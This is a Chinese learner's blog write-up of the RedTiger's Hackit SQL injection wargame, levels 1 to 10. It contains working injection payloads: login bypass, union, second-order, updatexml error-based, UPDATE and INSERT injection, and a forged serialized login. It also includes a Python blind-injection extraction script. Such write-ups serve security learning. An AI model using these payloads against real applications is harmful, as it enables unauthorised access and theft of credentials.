zoukankan      html  css  js  c++  java
  • RedTiger's Hackit WP

    RedTiger's Hackit

    我的wp是按照我的做题思路直接写出来的,不仅是为了借鉴,也是为了日后返回复习的时候,能从之前的错误中吸取经验教训,或是感悟一些巧妙地思想。

    前些天刚学过sql注入,今天来这个网站巩固一下

    level 1

    第一关着实有点懵x,用burp重放的时候,#被自动去掉然后400报错(一开始没发现),然后就去尝试了盲注,结果布尔盲注可行???我觉得第一题不会搞这么难吧,去看了下别人的wp,才发现是我的#被burp吃掉了。。。

    做题过程还是先测回显位(字段):

    然后根据提示直接在表level1_users里拿username和password

    我也尝试了一下爆表名,但是group_concat,concat, limit都被ban掉了

    level 2

    这道题的hint:Condition没看懂什么意思 = =

    还是先加引号,看有没有报错, 发现Password里添加引号会报错

    但是只会报错,不会回显,然后去搜了报错的那个函数mysql_num_rows(),发现它用来返回查询结果的行数,想到是用行数来判断账号密码是否对应,,,然后想起了这道题是 simple login bypass,所以直接万能密码 ' or 1=1 #

    level 3

    第三题,这道题给了hint:try to get an error,但是找不到报错点,尝试很多次无果后,在以为前辈的wp上看到了方法,传入数组,就是usr[]=xxxxxxxxx

    报错里给了一个文件,打开里边有源码

    <?php
    
    	// warning! ugly code ahead :)
    	// requires php5.x, sorry for that
      		
    	function encrypt($str)
    	{
    		$cryptedstr = "";
    		srand(3284724);
    		for ($i =0; $i < strlen($str); $i++)
    		{
    			$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
    			
    			while(strlen($temp)<3)
    			{
    				$temp = "0".$temp;
    			}
    			$cryptedstr .= $temp. "";
    		}
    		return base64_encode($cryptedstr);
    	}
      
    	function decrypt ($str)
    	{
    		srand(3284724);
    		if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
    		{
    			$str = base64_decode($str);
    			if ($str != "" && $str != null && $str != false)
    			{
    				$decStr = "";
    				
    				for ($i=0; $i < strlen($str); $i+=3)
    				{
    					$array[$i/3] = substr($str,$i,3);
    				}
    
    				foreach($array as $s)
    				{
    					$a = $s ^ rand(0, 255);
    					$decStr .= chr($a);
    				}
    				
    				return $decStr;
    			}
    			return false;
    		}
    		return false;
    	}
    ?>
    

    很明显,这是加密解密的php代码,然后把要注入的语句扔进去加密一下再提交就行,结果。。。

    我的php不知道什么问题,加密的代码不正确(Admin加密出来都不一样) = = ,换了几个版本都不行,只好去copy了,思路是一样的

    测字段和回显位

    usr=MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDc2MTc2MDc0MDM4

    usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx

    爆username和password

    usr=MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MjMyMDI1MTA0MTUzMTc3MTUwMDA5MTkxMTMwMjA3MTY5MTIwMTUzMTk3MDQwMTA0MTc3MTQ5MjA5MTg0MTEzMDU0MTgwMjA4MTE4MjE4MTcwMTc4MDE1MTk4MDAyMTQ2MTE1MDcwMTQzMTU0MDI3MDE3MTY1MTY0MDQ3MDM2MDgwMjIzMDQ4MDc5MTI1MTAxMTA3MTU1MTQ2MDk0MTU0MjAyMDY4MDMyMjIzMTQ3MDYzMDM1MjE4MDE3MDM1MTQzMDk3MjAyMjAzMDc1MTE1MTgyMDQ5MTgy

    level 4

    测试了一下,发现是布尔盲注

    丢给sqlmap跑,结果sqlmap测不出数据库类型???一脸疑惑,也没有查到原因。

    只好自己写脚本(这个代码是我从这篇wp里copy过来的 = =)

    def get_flag_length():
        sql = 'if((select length(keyword) from %s limit 0,1)=%d ,1 , 0)'
        sql_url = baseurl + sql
        flag_length = 1
        for i in range(0, lll):
            while flag_length:
                print(flag_length)
                res = requests.get(url=sql_url % (table_name, flag_length), headers=headers, proxies=proxy)
                if flag in res.text:
                    return flag_length
                flag_length += 1
                if flag_length > 200:
                    table_length = -1
                    break
    
    
    def get_flag_name():
        sql = 'if(ascii(substr((select keyword from %s limit 0,1), %d, 1))=%d, 1, 0)'
        sql_url = baseurl + sql
        flag_name = ''
        for no in range(1, flag_length + 1):
            for x in range(1, 200):
                res = requests.get(url=sql_url % (table_name, no, x), headers=headers, proxies=proxy)
                if flag in res.text:
                    flag_name += chr(x)
                    print(flag_name)
                    break
                else:
                    print(x)
                    continue
            print(flag_name)
    
        print(flag_name)
        return flag_name
    

    最后拿到flag

    睡觉睡觉,明天再做

    level 5

    这题ban了substring,substr,",", mid

    hint:不是盲注,密码被md5加密了,观察登录错误

    根据hint,回显位在登录错误的地方,猜测是报错注入

    username 引号报错

    这个函数在前边讲过,是返回查询结果的行数,所以这里应该是查询username对应的数据项,然后拿查询结果里的md5值和md5(password)比对,那么之前的猜测就错了(不是报错注入),而是union select 绕过

    原理代码大概是:

    $con = mysqli_connect(xxxxxx)
    $sql = "select * from table where username = ".$_POST["username"];
    $result = mysqli_query($con, $sql);
    $row_number = mysql_num_rows($result);// 返回查询结果的行数
    if($row_number > 0){
        $row = mysql_fetch_assoc($result);// 将查询结果转换为关联数组
        if($row["password"] == md5($_POST["password"]))
            echo $flag;
    }else
        echo "Login failed!";
    
    

    证实了我的猜测,这里select的1和2替换掉了查询结果里的username和password,但是不匹配

    构造union select username=任意值1 password=md5(任意值2),然后post-data里password=任意值2

    bingo!

    恰饭恰饭,恰完饭今天先写作业了,写完作业继续

    level 6

    看到url里有user参数,加了个引号,报错,提示 mysql_fetch_object(),去查了一下,函数的作用和mysql_fetch_assoc() 比较类似,

    测试到user=5没有查询结果

    但是user=5 or 1=1有回显,说明存在注入点

    没有什么思路,晚上撸了串喝了酒,不适合昨天,明天再看

    咕了好几天,今天把这些肝完吧

    确定字段数(回显位)

    找到username的回显位

    但是password不管放在哪都没有回显

    去看了下别人的wp,发现是二次(查询)注入,emmmm,我还没学二次注入,索性把这道题当作是学新知识点了。

    后台代码可能是,来源

    $sql="select username,password from level6_users where id=1";
    $result=mysql_query($sql) or die('<pre>'.mysql_error().'</pre>');
    $row=mysql_fetch_row($result);
    $username=$row1[1];
    $sql2="select username,email from level6_users where username="."'".$username."'"
    

    看到代码,思路就很清晰了。

    二次查询就是,用id去查询username,然后用username去查询username和email信息

    所以需要达到的条件:

    • 一次查询结果有admin/status=1的用户username
    • 二次查询时能把其账号密码导出

    那么,第一次查询需要用union构造一个含有status=1的用户的查询结果返回

    5 union select 1,username,3,4,5 from level6_users where status=1

    其中username字段为sql2需要拼接的语句

    username=' union select 1,username,password,4,5 from level6_users where status=1 #

    如果直接拼接进去的话,引号会报错

    5 union select 1,' union select 1,username,password,4,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

    所以需要用十六进制编码进行注入

    5 union select 1,0x2720756e696f6e2073656c65637420757365726e616d652c70617373776f72642c332c342c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

    尝试发现email回显位为4

    调整payload

    5 union select 1,' union select 1,username,3,password,5 from level6_users where status=1 #,3,4,5 from level6_users where status=1

    5 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d312023,3,4,5 from level6_users where status=1

    level 7

    给了表名level7_news,列名autor(不该是author吗)

    让查询发布过和google相关新闻的作者名字

    ban了 注释,substr,substring,ascii,mid,like

    搜了google,有一篇新闻,确定是要get到这个作者

    然后加引号有报错

    sql语句:SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google'%' OR text.title LIKE '%google'%')

    这块有两个参数点,所以要构造一个前后都能闭合的语句

    SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%'='%') union select autor from level7_news and ('%'='%' OR text.title LIKE '%'='%') union select autor from level7_news and ('%'='%')

    '='%') union select autor from level7_news and ('%'='

    但是仍然报错,看了下是text.title那里,考虑自己的思路可能错了,emmm,可能还有没ban掉的注释,这样就可以处理后半句报错的问题,试了知道的几个注释符,都被ban了,去搜了下,--%a0可以,然后测出了回显位

    1%') union select 1,2,3,4 from level7_news --%a0

    payload: 1%') union select 1,2,3,4 from level7_users --%a0

    拿到flag

    level 8

    目标是拿到admin的密码,给了修改框,猜测是update注入,尝试报错,在Email加引号的时候报错,说明存在注入点

    根据报错内容,判断sql语句中字段顺寻为Email,ICQ,Age

    看了下update的用法

    UPDATE table_name SET field1=value1, field2=value2 [where clause]

    猜测sql语句为update table set name='x',mail='x',icq='x',age=x where id=1

    那么把password插入到Email域里就行了

    ', Email="asd"

    但是这些字段都是被 “ ” 包围的,没办法执行里面的sql语句,观察了一下,发现Age是没有被引号包围的,但是它是一个Int型字段,所以想到了用length和ascii进行注入,emmmmmm,问题来了,查不到库名,表名,字段名,应该是被ban了,不是考点。不过这个思想可以可以记下来,说不定以后用得到。

    看了下wp,这里考的是,同一数据项的字段可以相互赋值,例如A1=A2

    那么payload:',email=password,icq='

    今天在思考这道题的时候,想到了updatexml报错注入,尝试了下发现可以爆,但是查数据库名的所有方法都被ban掉了

    hans@localhost' or updatexml(0x7e,(version()),0) or '

    level 9

    这道题的目标是拿到任何用户的账号密码

    给了表名level9_users

    给了提示,这道题不是盲注,可以拿到回显

    给了一个查询框,应该是文章查询的,有姓名,题目和正文三部分

    挨着加引号,发现在正文里加引号会报错,说明存在注入点

    根据报错结果,猜测sql语句为select * from level9_users where title=xxx and (name like '' or title like '' or text like '')

    构造语句111') union select 1,2 from level9_users #

    发现注释被ban了,换其他姿势试了下,发现--%a0可行

    查了下这个函数,大概是用sprintf函数返回update后的结果(报错的原因是引号封闭导致占位符%s数量不一致)

    update???

    试一下updatexml报错注入

    ' or updatexml(0x7e,(version()),0) or '成功!

    ' or updatexml(0x7e,(select group_concat(username) from level9_users),0) or '爆用户名

    但是这里没有报错!!!可能是空值,先试试密码

    ' or updatexml(0x7e,(select group_concat(password) from level9_users),0) or '爆密码

    emmmm,怎么看都不想答案,先试一下吧

    给了提示,大概意思是,使用了未定义的常量?一脸懵逼,应该是哪里错了

    emmmmm,我回去看了下文档,发现prinf()函数报错是insert,不是update操作

    sprintf("INSERT INTO listing (name, title, text) VALUES (%s,%s,%s)", $name,$title,$text;

    放进去就是

    sprintf("INSERT INTO listing (name, title, text) VALUES ('$name','$title','$text')";

    在insert into时,后一组数据可以覆盖前一组数据,和上一道题的方法类似

    构造payload

    '),((select username from level9_users),(select password from level9_users),'

    这一类思想很重要,后来的数据可以覆盖先来的数据

    level 10

    这道题就一个登录按钮,用burp抓包

    里面有一串字符,拿去decode

    应该是php的序列化对象,根据提示,要用TheMaster登录

    尝试登录,失败

    还尝试了很多姿势,都失败了,= =我对php序列化和反序列化不是很熟悉,去看了wp,发现只需要设置密码的布尔值为1即可。

    payload=login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login

    总结

    这些天的效率很低,但还是坚持把RedTiger's Hackit做完了。收获了很多知识点和思想,也感悟了一些安全的理念。这些零碎的知识都是需要回过头仔细整理打磨的,尤其是做题过程中,深刻地体会到了自己所了解的知识量的严重匮乏,知道的太少太少了。仍是需要打起十二分的气魄,一步步向前走。安全的路会走的很艰难,但也会很快乐。乐在其中的踱步前行就是我的节奏了。

  • 相关阅读:
    code war 天天一练(4)
    code war 天天一练(3)
    code war 天天一练(2)
    code war 天天一练(1)
    手写promise
    JSON序列化和反序列化
    SqlBulkCopy高效插入数据
    C#反射方法示例
    《将博客搬至CSDN》
    PHP学习笔记——Php文件引入
  • 原文地址:https://www.cnblogs.com/R3col/p/12501483.html
Copyright © 2011-2022 走看看